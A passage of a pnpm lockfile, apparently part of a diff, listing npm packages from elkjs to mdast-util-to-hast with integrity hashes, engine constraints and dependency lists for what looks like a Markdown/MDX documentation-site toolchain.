sha512-Fan4uMuyB26gFV3ovPoEoQbxRRPfTu3CvImyZnhGq5fsIEO+gEFLp45ISFt+kQBWsK5ulDdT0oV28jS1UrwQLg==} + dev: false + + /elkjs@0.9.2: + resolution: {integrity: sha512-2Y/RaA1pdgSHpY0YG4TYuYCD2wh97CRvu22eLG3Kz0pgQ/6KbIFTxsTnDc4MH/6hFlg2L/9qXrDMG0nMjP63iw==} + dev: false + + /entities@4.5.0: + resolution: {integrity: sha512-V0hjH4dGPh9Ao5p0MoRY6BVqtwCjhz6vI5LT8AJ55H+4g9/4vbHx1I54fS0XuclLhDHArPQCiMjDxjaL8fPxhw==} + engines: {node: '>=0.12'} + dev: false + + /escape-string-regexp@1.0.5: + resolution: {integrity: sha512-vbRorB5FUQWvla16U8R/qgaFIya2qGzwDrNmCZuYKrbdSUMG6I1ZCGQRefkRVhuOkIGVne7BQ35DSfo1qvJqFg==} + engines: {node: '>=0.8.0'} + dev: false + + /escape-string-regexp@5.0.0: + resolution: {integrity: sha512-/veY75JbMK4j1yjvuUxuVsiS/hr/4iHs9FTT6cgTexxdE0Ly/glccBAkloH/DofkjRbZU3bnoj38mOmhkZ0lHw==} + engines: {node: '>=12'} + dev: false + + /esprima@4.0.1: + resolution: {integrity: sha512-eGuFFw7Upda+g4p+QHvnW0RyTX/SVeJBDM/gCtMARO0cLuT2HcEKnTPvhjV6aGeqrCB/sbNop0Kszm0jsaWU4A==} + engines: {node: '>=4'} + hasBin: true + dev: false + + /estree-util-attach-comments@2.1.1: + resolution: {integrity: sha512-+5Ba/xGGS6mnwFbXIuQiDPTbuTxuMCooq3arVv7gPZtYpjp+VXH/NkHAP35OOefPhNG/UGqU3vt/LTABwcHX0w==} + dependencies: + '@types/estree': 1.0.5 + dev: false + + /estree-util-build-jsx@2.2.2: + resolution: {integrity: sha512-m56vOXcOBuaF+Igpb9OPAy7f9w9OIkb5yhjsZuaPm7HoGi4oTOQi0h2+yZ+AtKklYFZ+rPC4n0wYCJCEU1ONqg==} + dependencies: + '@types/estree-jsx': 1.0.5 + estree-util-is-identifier-name: 2.1.0 + estree-walker: 3.0.3 + dev: false + + /estree-util-is-identifier-name@2.1.0: + resolution: {integrity: sha512-bEN9VHRyXAUOjkKVQVvArFym08BTWB0aJPppZZr0UNyAqWsLaVfAqP7hbaTJjzHifmB5ebnR8Wm7r7yGN/HonQ==} + dev: false + + /estree-util-to-js@1.2.0: + resolution: {integrity: sha512-IzU74r1PK5IMMGZXUVZbmiu4A1uhiPgW5hm1GjcOfr4ZzHaMPpLNJjR7HjXiIOzi25nZDrgFTobHTkV5Q6ITjA==} + dependencies: + '@types/estree-jsx': 1.0.5 + astring: 1.8.6 + source-map: 0.7.4 + dev: false + + /estree-util-value-to-estree@1.3.0: + resolution: {integrity: sha512-Y+ughcF9jSUJvncXwqRageavjrNPAI+1M/L3BI3PyLp1nmgYTGUXU6t5z1Y7OWuThoDdhPME07bQU+d5LxdJqw==} + engines: {node: '>=12.0.0'} + dependencies: + is-plain-obj: 3.0.0 + dev: false + + /estree-util-visit@1.2.1: + resolution: {integrity: sha512-xbgqcrkIVbIG+lI/gzbvd9SGTJL4zqJKBFttUl5pP27KhAjtMKbX/mQXJ7qgyXpMgVy/zvpm0xoQQaGL8OloOw==} + dependencies: + '@types/estree-jsx': 1.0.5 + '@types/unist': 2.0.10 + dev: false + + /estree-walker@3.0.3: + resolution: {integrity: sha512-7RUKfXgSMMkzt6ZuXmqapOurLGPPfgj6l9uRZ7lRGolvk0y2yocc35LdcxKC5PQZdn2DMqioAQ2NoWcrTKmm6g==} + dependencies: + '@types/estree': 1.0.5 + dev: false + + /execa@0.8.0: + resolution: {integrity: sha512-zDWS+Rb1E8BlqqhALSt9kUhss8Qq4nN3iof3gsOdyINksElaPyNBtKUMTR62qhvgVWR0CqCX7sdnKe4MnUbFEA==} + engines: {node: '>=4'} + dependencies: + cross-spawn: 5.1.0 + get-stream: 3.0.0 + is-stream: 1.1.0 + npm-run-path: 2.0.2 + p-finally: 1.0.0 + signal-exit: 3.0.7 + strip-eof: 1.0.0 + dev: false + + /extend-shallow@2.0.1: + resolution: {integrity: sha512-zCnTtlxNoAiDc3gqY2aYAWFx7XWWiasuF2K8Me5WbN8otHKTUKBwjPtNpRs/rbUZm7KxWAaNj7P1a/p52GbVug==} + engines: {node: '>=0.10.0'} + dependencies: + is-extendable: 0.1.1 + dev: false + + /extend@3.0.2: + resolution: {integrity: sha512-fjquC59cD7CyW6urNXK0FBufkZcoiGG80wTuPujX590cB5Ttln20E2UB4S/WARVqhXffZl2LNgS+gQdPIIim/g==} + dev: false + + /flexsearch@0.7.43: + resolution: {integrity: sha512-c5o/+Um8aqCSOXGcZoqZOm+NqtVwNsvVpWv6lfmSclU954O3wvQKxxK8zj74fPaSJbXpSLTs4PRhh+wnoCXnKg==} + dev: false + + /focus-visible@5.2.0: + resolution: {integrity: sha512-Rwix9pBtC1Nuy5wysTmKy+UjbDJpIfg8eHjw0rjZ1mX4GNLz1Bmd16uDpI3Gk1i70Fgcs8Csg2lPm8HULFg9DQ==} + dev: false + + /get-stream@3.0.0: + resolution: {integrity: sha512-GlhdIUuVakc8SJ6kK0zAFbiGzRFzNnY4jUuEbV9UROo4Y+0Ny4fjvcZFVTeDA4odpFyOQzaw6hXukJSq/f28sQ==} + engines: {node: '>=4'} + dev: false + + /git-up@7.0.0: + resolution: {integrity: sha512-ONdIrbBCFusq1Oy0sC71F5azx8bVkvtZtMJAsv+a6lz5YAmbNnLD6HAB4gptHZVLPR8S2/kVN6Gab7lryq5+lQ==} + dependencies: + is-ssh: 1.4.0 + parse-url: 8.1.0 + dev: false + + /git-url-parse@13.1.1: + resolution: {integrity: sha512-PCFJyeSSdtnbfhSNRw9Wk96dDCNx+sogTe4YNXeXSJxt7xz5hvXekuRn9JX7m+Mf4OscCu8h+mtAl3+h5Fo8lQ==} + dependencies: + git-up: 7.0.0 + dev: false + + /github-slugger@2.0.0: + resolution: {integrity: sha512-IaOQ9puYtjrkq7Y0Ygl9KDZnrf/aiUJYUpVf89y8kyaxbRG7Y1SrX/jaumrv81vc61+kiMempujsM3Yw7w5qcw==} + dev: false + + /glob-to-regexp@0.4.1: + resolution: {integrity: sha512-lkX1HJXwyMcprw/5YUZc2s7DrpAiHB21/V+E1rHUrVNokkvB6bqMzT0VfV6/86ZNabt1k14YOIaT7nDvOX3Iiw==} + dev: false + + /graceful-fs@4.2.11: + resolution: {integrity: sha512-RbJ5/jmFcNNCcDV5o9eTnBLJ/HszWV0P73bc+Ff4nS/rJj+YaS6IGyiOL0VoBYX+l1Wrl3k63h/KrH+nhJ0XvQ==} + dev: false + + /gray-matter@4.0.3: + resolution: {integrity: sha512-5v6yZd4JK3eMI3FqqCouswVqwugaA9r4dNZB1wwcmrD02QkV5H0y7XBQW8QwQqEaZY1pM9aqORSORhJRdNK44Q==} + engines: {node: '>=6.0'} + dependencies: + js-yaml: 3.14.1 + kind-of: 6.0.3 + section-matter: 1.0.0 + strip-bom-string: 1.0.0 + dev: false + + /has-flag@2.0.0: + resolution: {integrity: sha512-P+1n3MnwjR/Epg9BBo1KT8qbye2g2Ou4sFumihwt6I4tsUX7jnLcX4BTOSKg/B1ZrIYMN9FcEnG4x5a7NB8Eng==} + engines: {node: '>=0.10.0'} + dev: false + + /hash-obj@4.0.0: + resolution: {integrity: sha512-FwO1BUVWkyHasWDW4S8o0ssQXjvyghLV2rfVhnN36b2bbcj45eGiuzdn9XOvOpjV3TKQD7Gm2BWNXdE9V4KKYg==} + engines: {node: '>=12'} + dependencies: + is-obj: 3.0.0 + sort-keys: 5.0.0 + type-fest: 1.4.0 + dev: false + + /hast-util-from-dom@5.0.0: + resolution: {integrity: sha512-d6235voAp/XR3Hh5uy7aGLbM3S4KamdW0WEgOaU1YoewnuYw4HXb5eRtv9g65m/RFGEfUY1Mw4UqCc5Y8L4Stg==} + dependencies: + '@types/hast': 3.0.4 + hastscript: 8.0.0 + web-namespaces: 2.0.1 + dev: false + + /hast-util-from-html-isomorphic@2.0.0: + resolution: {integrity: sha512-zJfpXq44yff2hmE0XmwEOzdWin5xwH+QIhMLOScpX91e/NSGPsAzNCvLQDIEPyO2TXi+lBmU6hjLIhV8MwP2kw==} + dependencies: + '@types/hast': 3.0.4 + hast-util-from-dom: 5.0.0 + hast-util-from-html: 2.0.1 + unist-util-remove-position: 5.0.0 + dev: false + + /hast-util-from-html@2.0.1: + resolution: {integrity: sha512-RXQBLMl9kjKVNkJTIO6bZyb2n+cUH8LFaSSzo82jiLT6Tfc+Pt7VQCS+/h3YwG4jaNE2TA2sdJisGWR+aJrp0g==} + dependencies: + '@types/hast': 3.0.4 + devlop: 1.1.0 + hast-util-from-parse5: 8.0.1 + parse5: 7.1.2 + vfile: 6.0.1 + vfile-message: 4.0.2 + dev: false + + /hast-util-from-parse5@8.0.1: + resolution: {integrity: sha512-Er/Iixbc7IEa7r/XLtuG52zoqn/b3Xng/w6aZQ0xGVxzhw5xUFxcRqdPzP6yFi/4HBYRaifaI5fQ1RH8n0ZeOQ==} + dependencies: + '@types/hast': 3.0.4 + '@types/unist': 3.0.2 + devlop: 1.1.0 + hastscript: 8.0.0 + property-information: 6.4.1 + vfile: 6.0.1 + vfile-location: 5.0.2 + web-namespaces: 2.0.1 + dev: false + + /hast-util-is-element@3.0.0: + resolution: {integrity: sha512-Val9mnv2IWpLbNPqc/pUem+a7Ipj2aHacCwgNfTiK0vJKl0LF+4Ba4+v1oPHFpf3bLYmreq0/l3Gud9S5OH42g==} + dependencies: + '@types/hast': 3.0.4 + dev: false + + /hast-util-parse-selector@4.0.0: + resolution: {integrity: sha512-wkQCkSYoOGCRKERFWcxMVMOcYE2K1AaNLU8DXS9arxnLOUEWbOXKXiJUNzEpqZ3JOKpnha3jkFrumEjVliDe7A==} + dependencies: + '@types/hast': 3.0.4 + dev: false + + /hast-util-raw@9.0.2: + resolution: {integrity: sha512-PldBy71wO9Uq1kyaMch9AHIghtQvIwxBUkv823pKmkTM3oV1JxtsTNYdevMxvUHqcnOAuO65JKU2+0NOxc2ksA==} + dependencies: + '@types/hast': 3.0.4 + '@types/unist': 3.0.2 + '@ungap/structured-clone': 1.2.0 + hast-util-from-parse5: 8.0.1 + hast-util-to-parse5: 8.0.0 + html-void-elements: 3.0.0 + mdast-util-to-hast: 13.1.0 + parse5: 7.1.2 + unist-util-position: 5.0.0 + unist-util-visit: 5.0.0 + vfile: 6.0.1 + web-namespaces: 2.0.1 + zwitch: 2.0.4 + dev: false + + /hast-util-to-estree@2.3.3: + resolution: {integrity: sha512-ihhPIUPxN0v0w6M5+IiAZZrn0LH2uZomeWwhn7uP7avZC6TE7lIiEh2yBMPr5+zi1aUCXq6VoYRgs2Bw9xmycQ==} + dependencies: + '@types/estree': 1.0.5 + '@types/estree-jsx': 1.0.5 + '@types/hast': 2.3.10 + '@types/unist': 2.0.10 + comma-separated-tokens: 2.0.3 + estree-util-attach-comments: 2.1.1 + estree-util-is-identifier-name: 2.1.0 + hast-util-whitespace: 2.0.1 + mdast-util-mdx-expression: 1.3.2 + mdast-util-mdxjs-esm: 1.3.1 + property-information: 6.4.1 + space-separated-tokens: 2.0.2 + style-to-object: 0.4.4 + unist-util-position: 4.0.4 + zwitch: 2.0.4 + transitivePeerDependencies: + - supports-color + dev: false + + /hast-util-to-parse5@8.0.0: + resolution: {integrity: sha512-3KKrV5ZVI8if87DVSi1vDeByYrkGzg4mEfeu4alwgmmIeARiBLKCZS2uw5Gb6nU9x9Yufyj3iudm6i7nl52PFw==} + dependencies: + '@types/hast': 3.0.4 + comma-separated-tokens: 2.0.3 + devlop: 1.1.0 + property-information: 6.4.1 + space-separated-tokens: 2.0.2 + web-namespaces: 2.0.1 + zwitch: 2.0.4 + dev: false + + /hast-util-to-text@4.0.0: + resolution: {integrity: sha512-EWiE1FSArNBPUo1cKWtzqgnuRQwEeQbQtnFJRYV1hb1BWDgrAlBU0ExptvZMM/KSA82cDpm2sFGf3Dmc5Mza3w==} + dependencies: + '@types/hast': 3.0.4 + '@types/unist': 3.0.2 + hast-util-is-element: 3.0.0 + unist-util-find-after: 5.0.0 + dev: false + + /hast-util-whitespace@2.0.1: + resolution: {integrity: sha512-nAxA0v8+vXSBDt3AnRUNjyRIQ0rD+ntpbAp4LnPkumc5M9yUbSMa4XDU9Q6etY4f1Wp4bNgvc1yjiZtsTTrSng==} + dev: false + + /hastscript@8.0.0: + resolution: {integrity: sha512-dMOtzCEd3ABUeSIISmrETiKuyydk1w0pa+gE/uormcTpSYuaNJPbX1NU3JLyscSLjwAQM8bWMhhIlnCqnRvDTw==} + dependencies: + '@types/hast': 3.0.4 + comma-separated-tokens: 2.0.3 + hast-util-parse-selector: 4.0.0 + property-information: 6.4.1 + space-separated-tokens: 2.0.2 + dev: false + + /heap@0.2.7: + resolution: {integrity: sha512-2bsegYkkHO+h/9MGbn6KWcE45cHZgPANo5LXF7EvWdT0yT2EguSVO1nDgU5c8+ZOPwp2vMNa7YFsJhVcDR9Sdg==} + dev: false + + /html-void-elements@3.0.0: + resolution: {integrity: sha512-bEqo66MRXsUGxWHV5IP0PUiAWwoEjba4VCzg0LjFJBpchPaTfyfCKTG6bc5F8ucKec3q5y6qOdGyYTSBEvhCrg==} + dev: false + + /iconv-lite@0.6.3: + resolution: {integrity: sha512-4fCk79wshMdzMp2rH06qWrJE4iolqLhCUH+OiuIgU++RB0+94NlDL81atO7GX55uUKueo0txHNtvEyI6D7WdMw==} + engines: {node: '>=0.10.0'} + dependencies: + safer-buffer: 2.1.2 + dev: false + + /inline-style-parser@0.1.1: + resolution: {integrity: sha512-7NXolsK4CAS5+xvdj5OMMbI962hU/wvwoxk+LWR9Ek9bVtyuuYScDN6eS0rUm6TxApFpw7CX1o4uJzcd4AyD3Q==} + dev: false + + /internmap@1.0.1: + resolution: {integrity: sha512-lDB5YccMydFBtasVtxnZ3MRBHuaoE8GKsppq+EchKL2U4nK/DmEpPHNH8MZe5HkMtpSiTSOZwfN0tzYjO/lJEw==} + dev: false + + /internmap@2.0.3: + resolution: {integrity: sha512-5Hh7Y1wQbvY5ooGgPbDaL5iYLAPzMTUrjMulskHLH6wnv/A+1q5rgEaiuqEjB+oxGXIVZs1FF+R/KPN3ZSQYYg==} + engines: {node: '>=12'} + dev: false + + /intersection-observer@0.12.2: + resolution: {integrity: sha512-7m1vEcPCxXYI8HqnL8CKI6siDyD+eIWSwgB3DZA+ZTogxk9I4CDnj4wilt9x/+/QbHI4YG5YZNmC6458/e9Ktg==} + dev: false + + /is-alphabetical@2.0.1: + resolution: {integrity: sha512-FWyyY60MeTNyeSRpkM2Iry0G9hpr7/9kD40mD/cGQEuilcZYS4okz8SN2Q6rLCJ8gbCt6fN+rC+6tMGS99LaxQ==} + dev: false + + /is-alphanumerical@2.0.1: + resolution: {integrity: sha512-hmbYhX/9MUMF5uh7tOXyK/n0ZvWpad5caBA17GsC6vyuCqaWliRG5K1qS9inmUhEMaOBIW7/whAnSwveW/LtZw==} + dependencies: + is-alphabetical: 2.0.1 + is-decimal: 2.0.1 + dev: false + + /is-buffer@2.0.5: + resolution: {integrity: sha512-i2R6zNFDwgEHJyQUtJEk0XFi1i0dPFn/oqjK3/vPCcDeJvW5NQ83V8QbicfF1SupOaB0h8ntgBC2YiE7dfyctQ==} + engines: {node: '>=4'} + dev: false + + /is-decimal@2.0.1: + resolution: {integrity: sha512-AAB9hiomQs5DXWcRB1rqsxGUstbRroFOPPVAomNk/3XHR5JyEZChOyTWe2oayKnsSsr/kcGqF+z6yuH6HHpN0A==} + dev: false + + /is-extendable@0.1.1: + resolution: {integrity: sha512-5BMULNob1vgFX6EjQw5izWDxrecWK9AM72rugNr0TFldMOi0fj6Jk+zeKIt0xGj4cEfQIJth4w3OKWOJ4f+AFw==} + engines: {node: '>=0.10.0'} + dev: false + + /is-hexadecimal@2.0.1: + resolution: {integrity: sha512-DgZQp241c8oO6cA1SbTEWiXeoxV42vlcJxgH+B3hi1AiqqKruZR3ZGF8In3fj4+/y/7rHvlOZLZtgJ/4ttYGZg==} + dev: false + + /is-obj@3.0.0: + resolution: {integrity: sha512-IlsXEHOjtKhpN8r/tRFj2nDyTmHvcfNeu/nrRIcXE17ROeatXchkojffa1SpdqW4cr/Fj6QkEf/Gn4zf6KKvEQ==} + engines: {node: '>=12'} + dev: false + + /is-plain-obj@3.0.0: + resolution: {integrity: sha512-gwsOE28k+23GP1B6vFl1oVh/WOzmawBrKwo5Ev6wMKzPkaXaCDIQKzLnvsA42DRlbVTWorkgTKIviAKCWkfUwA==} + engines: {node: '>=10'} + dev: false + + /is-plain-obj@4.1.0: + resolution: {integrity: sha512-+Pgi+vMuUNkJyExiMBt5IlFoMyKnr5zhJ4Uspz58WOhBF5QoIZkFyNHIbBAtHwzVAgk5RtndVNsDRN61/mmDqg==} + engines: {node: '>=12'} + dev: false + + /is-reference@3.0.2: + resolution: {integrity: sha512-v3rht/LgVcsdZa3O2Nqs+NMowLOxeOm7Ay9+/ARQ2F+qEoANRcqrjAZKGN0v8ymUetZGgkp26LTnGT7H0Qo9Pg==} + dependencies: + '@types/estree': 1.0.5 + dev: false + + /is-ssh@1.4.0: + resolution: {integrity: sha512-x7+VxdxOdlV3CYpjvRLBv5Lo9OJerlYanjwFrPR9fuGPjCiNiCzFgAWpiLAohSbsnH4ZAys3SBh+hq5rJosxUQ==} + dependencies: + protocols: 2.0.1 + dev: false + + /is-stream@1.1.0: + resolution: {integrity: sha512-uQPm8kcs47jx38atAcWTVxyltQYoPT68y9aWYdV6yWXSyW8mzSat0TL6CiWdZeCdF3KrAvpVtnHbTv4RN+rqdQ==} + engines: {node: '>=0.10.0'} + dev: false + + /isexe@2.0.0: + resolution: {integrity: sha512-RHxMLp9lnKHGHRng9QFhRCMbYAcVpn69smSGcq3f36xjgVVWThj4qqLbTLlq7Ssj8B+fIQ1EuCEGI2lKsyQeIw==} + dev: false + + /js-tokens@4.0.0: + resolution: {integrity: sha512-RdJUflcE3cUzKiMqQgsCu06FPu9UdIJO0beYbPhHN4k6apgJtifcoCtT9bcxOpYBtpD2kCM6Sbzg4CausW/PKQ==} + dev: false + + /js-yaml@3.14.1: + resolution: {integrity: sha512-okMH7OXXJ7YrN9Ok3/SXrnu4iX9yOk+25nqX4imS2npuvTYDmo/QEZoqwZkYaIDk3jVvBOTOIEgEhaLOynBS9g==} + hasBin: true + dependencies: + argparse: 1.0.10 + esprima: 4.0.1 + dev: false + + /js-yaml@4.1.0: + resolution: {integrity: sha512-wpxZs9NoxZaJESJGIZTyDEaYpl0FKSA+FB9aJiyemKhMwkxQg63h4T1KJgUGHpTqPDNRcmmYLugrRjJlBtWvRA==} + hasBin: true + dependencies: + argparse: 2.0.1 + dev: false + + /jsonc-parser@3.2.1: + resolution: {integrity: sha512-AilxAyFOAcK5wA1+LeaySVBrHsGQvUFCDWXKpZjzaL0PqW+xfBOttn8GNtWKFWqneyMZj41MWF9Kl6iPWLwgOA==} + dev: false + + /katex@0.16.9: + resolution: {integrity: sha512-fsSYjWS0EEOwvy81j3vRA8TEAhQhKiqO+FQaKWp0m39qwOzHVBgAUBIXWj1pB+O2W3fIpNa6Y9KSKCVbfPhyAQ==} + hasBin: true + dependencies: + commander: 8.3.0 + dev: false + + /khroma@2.1.0: + resolution: {integrity: sha512-Ls993zuzfayK269Svk9hzpeGUKob/sIgZzyHYdjQoAdQetRKpOLj+k/QQQ/6Qi0Yz65mlROrfd+Ev+1+7dz9Kw==} + dev: false + + /kind-of@6.0.3: + resolution: {integrity: sha512-dcS1ul+9tmeD95T+x28/ehLgd9mENa3LsvDTtzm3vyBEO7RPptvAD+t44WVXaUjTBRcrpFeFlC8WCruUR456hw==} + engines: {node: '>=0.10.0'} + dev: false + + /kleur@4.1.5: + resolution: {integrity: sha512-o+NO+8WrRiQEE4/7nwRJhN1HWpVmJm511pBHUxPLtp0BUISzlBplORYSmTclCnJvQq2tKu/sgl3xVpkc7ZWuQQ==} + engines: {node: '>=6'} + dev: false + + /layout-base@1.0.2: + resolution: {integrity: sha512-8h2oVEZNktL4BH2JCOI90iD1yXwL6iNW7KcCKT2QZgQJR2vbqDsldCTPRU9NifTCqHZci57XvQQ15YTu+sTYPg==} + dev: false + + /lodash-es@4.17.21: + resolution: {integrity: sha512-mKnC+QJ9pWVzv+C4/U3rRsHapFfHvQFoFB92e52xeyGMcX6/OlIl78je1u8vePzYZSkkogMPJ2yjxxsb89cxyw==} + dev: false + + /lodash.get@4.4.2: + resolution: {integrity: sha512-z+Uw/vLuy6gQe8cfaFWD7p0wVv8fJl3mbzXh33RS+0oW2wvUqiRXiQ69gLWSLpgB5/6sU+r6BlQR0MBILadqTQ==} + dev: false + + /lodash@4.17.21: + resolution: {integrity: sha512-v2kDEe57lecTulaDIuNTPy3Ry4gLGJ6Z1O3vE1krgXZNrsQ+LFTGHVxVjcXPs17LhbZVGedAJv8XZ1tvj5FvSg==} + dev: false + + /longest-streak@3.1.0: + resolution: {integrity: sha512-9Ri+o0JYgehTaVBBDoMqIl8GXtbWg711O3srftcHhZ0dqnETqLaoIK0x17fUw9rFSlK/0NlsKe0Ahhyl5pXE2g==} + dev: false + + /loose-envify@1.4.0: + resolution: {integrity: sha512-lyuxPGr/Wfhrlem2CL/UcnUc1zcqKAImBDzukY7Y5F/yQiNdko6+fRLevlw1HgMySw7f611UIY408EtxRSoK3Q==} + hasBin: true + dependencies: + js-tokens: 4.0.0 + dev: false + + /lru-cache@4.1.5: + resolution: {integrity: sha512-sWZlbEP2OsHNkXrMl5GYk/jKk70MBng6UU4YI/qGDYbgf6YbP4EvmqISbXCoJiRKs+1bSpFHVgQxvJ17F2li5g==} + dependencies: + pseudomap: 1.0.2 + yallist: 2.1.2 + dev: false + + /markdown-extensions@1.1.1: + resolution: {integrity: sha512-WWC0ZuMzCyDHYCasEGs4IPvLyTGftYwh6wIEOULOF0HXcqZlhwRzrK0w2VUlxWA98xnvb/jszw4ZSkJ6ADpM6Q==} + engines: {node: '>=0.10.0'} + dev: false + + /markdown-table@3.0.3: + resolution: {integrity: sha512-Z1NL3Tb1M9wH4XESsCDEksWoKTdlUafKc4pt0GRwjUyXaCFZ+dc3g2erqB6zm3szA2IUSi7VnPI+o/9jnxh9hw==} + dev: false + + /match-sorter@6.3.4: + resolution: {integrity: sha512-jfZW7cWS5y/1xswZo8VBOdudUiSd9nifYRWphc9M5D/ee4w4AoXLgBEdRbgVaxbMuagBPeUC5y2Hi8DO6o9aDg==} + dependencies: + '@babel/runtime': 7.24.1 + remove-accents: 0.5.0 + dev: false + + /mdast-util-definitions@5.1.2: + resolution: {integrity: sha512-8SVPMuHqlPME/z3gqVwWY4zVXn8lqKv/pAhC57FuJ40ImXyBpmO5ukh98zB2v7Blql2FiHjHv9LVztSIqjY+MA==} + dependencies: + '@types/mdast': 3.0.15 + '@types/unist': 2.0.10 + unist-util-visit: 4.1.2 + dev: false + + /mdast-util-find-and-replace@2.2.2: + resolution: {integrity: sha512-MTtdFRz/eMDHXzeK6W3dO7mXUlF82Gom4y0oOgvHhh/HXZAGvIQDUvQ0SuUx+j2tv44b8xTHOm8K/9OoRFnXKw==} + dependencies: + '@types/mdast': 3.0.15 + escape-string-regexp: 5.0.0 + unist-util-is: 5.2.1 + unist-util-visit-parents: 5.1.3 + dev: false + + /mdast-util-from-markdown@1.3.1: + resolution: {integrity: sha512-4xTO/M8c82qBcnQc1tgpNtubGUW/Y1tBQ1B0i5CtSoelOLKFYlElIr3bvgREYYO5iRqbMY1YuqZng0GVOI8Qww==} + dependencies: + '@types/mdast': 3.0.15 + '@types/unist': 2.0.10 + decode-named-character-reference: 1.0.2 + mdast-util-to-string: 3.2.0 + micromark: 3.2.0 + micromark-util-decode-numeric-character-reference: 1.1.0 + micromark-util-decode-string: 1.1.0 + micromark-util-normalize-identifier: 1.1.0 + micromark-util-symbol: 1.1.0 + micromark-util-types: 1.1.0 + unist-util-stringify-position: 3.0.3 + uvu: 0.5.6 + transitivePeerDependencies: + - supports-color + dev: false + + /mdast-util-gfm-autolink-literal@1.0.3: + resolution: {integrity: sha512-My8KJ57FYEy2W2LyNom4n3E7hKTuQk/0SES0u16tjA9Z3oFkF4RrC/hPAPgjlSpezsOvI8ObcXcElo92wn5IGA==} + dependencies: + '@types/mdast': 3.0.15 + ccount: 2.0.1 + mdast-util-find-and-replace: 2.2.2 + micromark-util-character: 1.2.0 + dev: false + + /mdast-util-gfm-footnote@1.0.2: + resolution: {integrity: sha512-56D19KOGbE00uKVj3sgIykpwKL179QsVFwx/DCW0u/0+URsryacI4MAdNJl0dh+u2PSsD9FtxPFbHCzJ78qJFQ==} + dependencies: + '@types/mdast': 3.0.15 + mdast-util-to-markdown: 1.5.0 + micromark-util-normalize-identifier: 1.1.0 + dev: false + + /mdast-util-gfm-strikethrough@1.0.3: + resolution: {integrity: sha512-DAPhYzTYrRcXdMjUtUjKvW9z/FNAMTdU0ORyMcbmkwYNbKocDpdk+PX1L1dQgOID/+vVs1uBQ7ElrBQfZ0cuiQ==} + dependencies: + '@types/mdast': 3.0.15 + mdast-util-to-markdown: 1.5.0 + dev: false + + /mdast-util-gfm-table@1.0.7: + resolution: {integrity: sha512-jjcpmNnQvrmN5Vx7y7lEc2iIOEytYv7rTvu+MeyAsSHTASGCCRA79Igg2uKssgOs1i1po8s3plW0sTu1wkkLGg==} + dependencies: + '@types/mdast': 3.0.15 + markdown-table: 3.0.3 + mdast-util-from-markdown: 1.3.1 + mdast-util-to-markdown: 1.5.0 + transitivePeerDependencies: + - supports-color + dev: false + + /mdast-util-gfm-task-list-item@1.0.2: + resolution: {integrity: sha512-PFTA1gzfp1B1UaiJVyhJZA1rm0+Tzn690frc/L8vNX1Jop4STZgOE6bxUhnzdVSB+vm2GU1tIsuQcA9bxTQpMQ==} + dependencies: + '@types/mdast': 3.0.15 + mdast-util-to-markdown: 1.5.0 + dev: false + + /mdast-util-gfm@2.0.2: + resolution: {integrity: sha512-qvZ608nBppZ4icQlhQQIAdc6S3Ffj9RGmzwUKUWuEICFnd1LVkN3EktF7ZHAgfcEdvZB5owU9tQgt99e2TlLjg==} + dependencies: + mdast-util-from-markdown: 1.3.1 + mdast-util-gfm-autolink-literal: 1.0.3 + mdast-util-gfm-footnote: 1.0.2 + mdast-util-gfm-strikethrough: 1.0.3 + mdast-util-gfm-table: 1.0.7 + mdast-util-gfm-task-list-item: 1.0.2 + mdast-util-to-markdown: 1.5.0 + transitivePeerDependencies: + - supports-color + dev: false + + /mdast-util-math@2.0.2: + resolution: {integrity: sha512-8gmkKVp9v6+Tgjtq6SYx9kGPpTf6FVYRa53/DLh479aldR9AyP48qeVOgNZ5X7QUK7nOy4yw7vg6mbiGcs9jWQ==} + dependencies: + '@types/mdast': 3.0.15 + longest-streak: 3.1.0 + mdast-util-to-markdown: 1.5.0 + dev: false + + /mdast-util-mdx-expression@1.3.2: + resolution: {integrity: sha512-xIPmR5ReJDu/DHH1OoIT1HkuybIfRGYRywC+gJtI7qHjCJp/M9jrmBEJW22O8lskDWm562BX2W8TiAwRTb0rKA==} + dependencies: + '@types/estree-jsx': 1.0.5 + '@types/hast': 2.3.10 + '@types/mdast': 3.0.15 + mdast-util-from-markdown: 1.3.1 + mdast-util-to-markdown: 1.5.0 + transitivePeerDependencies: + - supports-color + dev: false + + /mdast-util-mdx-jsx@2.1.4: + resolution: {integrity: sha512-DtMn9CmVhVzZx3f+optVDF8yFgQVt7FghCRNdlIaS3X5Bnym3hZwPbg/XW86vdpKjlc1PVj26SpnLGeJBXD3JA==} + dependencies: + '@types/estree-jsx': 1.0.5 + '@types/hast': 2.3.10 + '@types/mdast': 3.0.15 + '@types/unist': 2.0.10 + ccount: 2.0.1 + mdast-util-from-markdown: 1.3.1 + mdast-util-to-markdown: 1.5.0 + parse-entities: 4.0.1 + stringify-entities: 4.0.3 + unist-util-remove-position: 4.0.2 + unist-util-stringify-position: 3.0.3 + vfile-message: 3.1.4 + transitivePeerDependencies: + - supports-color + dev: false + + /mdast-util-mdx@2.0.1: + resolution: {integrity: sha512-38w5y+r8nyKlGvNjSEqWrhG0w5PmnRA+wnBvm+ulYCct7nsGYhFVb0lljS9bQav4psDAS1eGkP2LMVcZBi/aqw==} + dependencies: + mdast-util-from-markdown: 1.3.1 + mdast-util-mdx-expression: 1.3.2 + mdast-util-mdx-jsx: 2.1.4 + mdast-util-mdxjs-esm: 1.3.1 + mdast-util-to-markdown: 1.5.0 + transitivePeerDependencies: + - supports-color + dev: false + + /mdast-util-mdxjs-esm@1.3.1: + resolution: {integrity: sha512-SXqglS0HrEvSdUEfoXFtcg7DRl7S2cwOXc7jkuusG472Mmjag34DUDeOJUZtl+BVnyeO1frIgVpHlNRWc2gk/w==} + dependencies: + '@types/estree-jsx': 1.0.5 + '@types/hast': 2.3.10 + '@types/mdast': 3.0.15 + mdast-util-from-markdown: 1.3.1 + mdast-util-to-markdown: 1.5.0 + transitivePeerDependencies: + - supports-color + dev: false + + /mdast-util-phrasing@3.0.1: + resolution: {integrity: sha512-WmI1gTXUBJo4/ZmSk79Wcb2HcjPJBzM1nlI/OUWA8yk2X9ik3ffNbBGsU+09BFmXaL1IBb9fiuvq6/KMiNycSg==} + dependencies: + '@types/mdast': 3.0.15 + unist-util-is: 5.2.1 + dev: false + + /mdast-util-to-hast@12.3.0: + resolution: {integrity: sha512-pits93r8PhnIoU4Vy9bjW39M2jJ6/tdHyja9rrot9uujkN7UTU9SDnE6WNJz/IGyQk3XHX6yNNtrBH6cQzm8Hw==} + dependencies: + '@types/hast': 2.3.10 + '@types/mdast': 3.0.15 + mdast-util-definitions: 5.1.2 + micromark-util-sanitize-uri: 